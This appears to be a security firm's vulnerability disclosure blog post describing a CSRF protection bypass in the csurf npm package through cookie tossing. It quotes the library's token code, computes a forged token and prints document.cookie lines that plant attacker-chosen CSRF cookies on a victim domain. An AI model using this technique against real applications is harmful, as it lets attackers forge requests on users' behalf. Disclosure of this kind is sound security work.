INTRO
One of our customers asked us to review one of their pentest reports where one of the issues was that a CSRF cookie was missing the secure flag. Interesting to see that some people are trying to fix the LOW severity findings as well, we didn’t expect that. Anyway, we started digging and found out that it was a nodejs application and it was using the csurf npm package to protect against CSRF vulnerabilities. Apparently this is a very popular package with more than 400K downloads weekly, 500 dependants and last update was 3 years ago. We started reviewing the code as well, since it’s available on github. In the end we found a CSRF vulnerability in a popular npm package which should actually protect against CSRF vulnerabilities. This vulnerability affects any application which is using the csurf npm package.
This vulnerability was there for at least 3 years, when the code was previously updated. Even though it’s open source software nobody actually scrutinizes it from a security perspective, so there will always be vulnerabilities lying around in open source software. We’ve noticed with some of our clients that there is an on-going trend of doing developer peer reviews, however it is obvious to us that this doesn’t add much benefit from a security perspective. Developer peer reviews and security code reviews are not equivalent. There were a few issues here which went unnoticed and we’ve chained them to obtain a CSRF protection bypass in any nodejs app using this popular javascript library.
CSURF npm
This module offers CSRF protection by using sessions or cookies (the double-submit cookie pattern). The website uses cookies for CSRF protection and the configuration looks like this:
app.use(csrf({ cookie: true }));
axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
Quick explanation of what we need to follow:
- _csrf is a cookie containinig a “secret”; this secret is used to generate & validate the CSRF token(see next)
- XSRF-TOKEN is a cookie(default name changed) containing the CSRF token and needs to be equal to X-Xsrf-Token header
- X-Xsrf-Token is also the CSRF token( passed as a custom HTTP header)
So, XSRF-TOKEN cookie is also submitted as a header(X-Xsrf-Token) for POST requests , and they should match, once again this is the double-submit cookie pattern. CSURF generates the CSRF token using a secret stored in clear text in the _csrf cookie. This obviously doesn’t look good. It creates the token using sha1 algorithm for hashing the secret. This was another bad sign. Bellow is the hash function which is part of the csrf npm package.
The hash() method takes a parameter, the secret (crypto secure). The app stores the secret on the client side in the _csrf cookie as shown below.
There is no signature checking in the default configuration. Great stuff! During our initial testing we noticed some weird behavior. We messed with the value of the XSRF-Token cookie(modifying it and also removing it) and we received a 200 OK status code, no errors.
The application still accepts an empty XSRF-Token. So, it doesn’t implement the double submit cookie pattern correctly. When we messed with the _csrf cookie (the secret) or the X-Xsrf-Token header(needs to be equal to the XSRF-TOKEN cookie) we got back a 403 http code with the message “Invalid CSRF Token”, which is the proper behavior.
The culprits
This behavior piqued our interested so we started digging in the public source code. Let’s have a look at the various methods to understand what is happening.
// get the secret from the request
var secret = getSecret(req, sessionKey, cookie)
// verify the incoming token
if (!ignoreMethod[req.method] && !tokens.verify(secret, value(req))) {
return next(createError(403, 'invalid csrf token', {
code: 'EBADCSRFTOKEN'
}))
}
This is how the developers validate the CSRF token. As you can see it reads the secret from the request and then it verifies if the hash based on this secret matches with value(req). Let’s have a look at the verify method first and then check the value method as well:
/**
* Verify if a given token is valid for a given secret.
*
* @param {string} secret
* @param {string} token
* @public
*/
Tokens.prototype.verify = function verify (secret, token) {
if (!secret || typeof secret !== 'string') {
return false
}
if (!token || typeof token !== 'string') {
return false
}
var index = token.indexOf('-')
if (index === -1) {
return false
}
var salt = token.substr(0, index)
var expected = this._tokenize(secret, salt)
return compare(token, expected)
}
From the code above, the salt is the first part of the token, up until the first “-” character. And the _tokenize method is bellow, it basically creates a token from a salt and the secret:
/**
* Tokenize a secret and salt.
* @private
*/
Tokens.prototype._tokenize = function tokenize (secret, salt) {
return salt + '-' + hash(salt + '-' + secret)
}
The value() method returns whatever is in the header in our case and looks like this:
function defaultValue (req) {
return (req.body && req.body._csrf) ||
(req.query && req.query._csrf) ||
(req.headers['csrf-token']) ||
(req.headers['xsrf-token']) ||
(req.headers['x-csrf-token']) ||
(req.headers['x-xsrf-token'])
}
Let’s summarize the issues so far:
- secret stored in clear text in the _csrf cookie
- sha1 is deprecated
- no signature checking for cookies by default
- it only validates the header token against the secret
It was obvious to us that an attacker can calculate his own CSRF tokens if he can set the salt and the secret. And he actually can because everything is done client-side here. The application will accept that, but how can he set them?
CSRF protection bypass with Cookie Tossing
Cookie tossing is an old technique, but you don’t hear about it too often to be honest. By using this technique you can exploit a CSRF vulnerability in the npm ecosystem if the application uses a vulnerable version of csurf (<=1.11). We need to set the _csrf cookie with our secret and calculate the XSRF token using the above algorithm. We choose the following values:
salt = 'fortbridge';
secret = 'fortbridge';
console.log(tokenize(secret,salt)); // "fortbridge-pBdvpVWmRdpgaTY_hv7yvjLW3GU"
and the resulting XSRF-TOKEN is “fortbridge-pBdvpVWmRdpgaTY_hv7yvjLW3GU”.
Cookie tossing consists of adding another cookie with the same name and making the application use our cookie by setting a more specific Path attribute. You can set the cookie for the main domain by finding an XSS vulnerability in a subdomain. The code would look like this:
document.cookie = "_csrf=fortbridge; domain=victim.co.uk; expires=Wed, 16-Aug-2023 22:38:05 GMT; path=/your-specific-path";
document.cookie = "XSRF-TOKEN=fortbridge-pBdvpVWmRdpgaTY_hv7yvjLW3GU; domain=victim.co.uk; expires=Wed, 05 Aug 2023 23:00:00 UTC; path=/your-specific-path"
Technically, we only needed to toss the first cookie(_csrf), because the XSRF-TOKEN cookie wasn’t validated anyway as we seen above. The browser will sned our malicious cookies first and the application happily accepts our token:
But, we also cheated a bit above because we set the X-Xsrf-Token header to our faked value. In a cross domain attack we wont be able to fake that header. Especially if there’s no misconsfigured CORS policy. So what can we do in this case? Remember the value() function we mention above? Let’s have another look at it 😉
function defaultValue (req) {
return (req.body && req.body._csrf) ||
(req.query && req.query._csrf) ||
(req.headers['csrf-token']) ||
(req.headers['xsrf-token']) ||
(req.headers['x-csrf-token']) ||
(req.headers['x-xsrf-token'])
}
You see this function doesn’t only read the token from the headers but it also reads it from GET/POST params with different names. Fabulous, we can just pass our CSRF token header as a GET param, see below:
In conclusion, as a pentester you can exploit any CSRF vulnerability in the npm ecosystem if the application under test is using csurf <=1.11.0. The developer decided to deprecate this package completely, thus we recommend finding alternative libraries which offer CSRF protection for nodejs applications.
Timeline
02.06.2022 – submitted vulnerability to developer
03.06.2022 – developer acknowledges the bug
18.07.2022 – the maintainer decides to mark this package as vulnerable & deprecated
28.08.2022 – blog post released
References
We’ve written previously about CSRF vulnerabilities here:
https://fortbridge.co.uk/research/multiple-vulnerabilities-in-cpanel-whm/